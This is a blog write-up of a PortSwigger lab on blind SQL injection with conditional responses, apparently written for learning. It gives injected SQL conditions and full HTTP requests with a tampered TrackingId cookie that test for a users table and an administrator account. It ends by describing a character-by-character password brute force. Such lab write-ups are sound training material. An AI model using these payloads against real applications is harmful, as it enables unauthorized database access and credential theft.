Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind SQL injection with conditional responses Part#1

Blind SQL injection with conditional responses Part#1: Blind SQL Injection Lab – Tracking Cookie Exploit This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the cookie’s value. --- ## 🎯 Lab Goal - The results of the SQL query are not returned. - No... • PortSwigger • Blind-SQLi

2022-11-080 tags

Blind SQL Injection Lab – Tracking Cookie Exploit

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the cookie’s value.


🎯 Lab Goal

  • The results of the SQL query are not returned.
  • No error messages are displayed.
  • A “Welcome back” message is shown if the query returns any rows.

The database contains a table called users with columns:

  • username
  • password

Your task: exploit the blind SQLi to obtain the password of the administrator user and log in.


🔍 Step 1 – Confirm Vulnerability

The application executes queries like:

sql
SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn'
  • If the trackingId exists → Response contains Welcome Back!
  • If it does not exist → No Welcome Back! message.

Appending an extra character proves the difference.


🔍 Step 2 – Force a True Condition

sql
SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND '1'='1'--'

Result: Welcome Back! ✅


🔍 Step 3 – Force a False Condition

sql
SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND '1'='0'--'

Result: No Welcome Back! ❌


🔍 Step 4 – Confirm users Table Exists

sql
SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND (SELECT 'x' FROM users LIMIT 1)='x'--'
  • If the users table exists → Welcome Back!
  • Otherwise → No response.

Request Example:

http
GET /filter?category=Tech+gifts HTTP/1.1
Host: 0aa400990377ade3c01d4eaa00e7002c.web-security-academy.net
Cookie: TrackingId=p5p5ITvu5hy98ICn'AND+(SELECT+'x'+FROM+users+LIMIT+1)='x'--; session=JZWq8MvS5mD2QAwel79H6AchfyhDF9dr
Connection: close

✅ Result: users table exists.


🔍 Step 5 – Confirm Administrator User Exists

sql
SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND (SELECT username FROM users WHERE username='administrator')='administrator'--'
  • If administrator exists → Welcome Back!
  • If not → No response.

Request Example:

http
GET /filter?category=Tech+gifts HTTP/1.1
Host: 0aa400990377ade3c01d4eaa00e7002c.web-security-academy.net
Cookie: TrackingId=p5p5ITvu5hy98ICn'AND (SELECT username FROM users WHERE username='administrator')='administrator'--; session=JZWq8MvS5mD2QAwel79H6AchfyhDF9dr
Connection: close

🔍 Verification with wrong username:

http
Cookie: TrackingId=p5p5ITvu5hy98ICn'AND (SELECT username FROM users WHERE username='wrongusername')='administrator'--;

➡ No Welcome Back!


🔐 Step 6 – Bruteforce Administrator Password

The same logic is applied by testing conditions character by character until the full password is revealed.

Navigate

In this post

  1. 01Blind SQL Injection Lab – Tracking Cookie Exploit
  2. 02🎯 Lab Goal
  3. 03🔍 Step 1 – Confirm Vulnerability
  4. 04🔍 Step 2 – Force a True Condition
  5. 05🔍 Step 3 – Force a False Condition
  6. 06🔍 Step 4 – Confirm users Table Exists
  7. 07🔍 Step 5 – Confirm Administrator User Exists
  8. 08🔐 Step 6 – Bruteforce Administrator Password
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.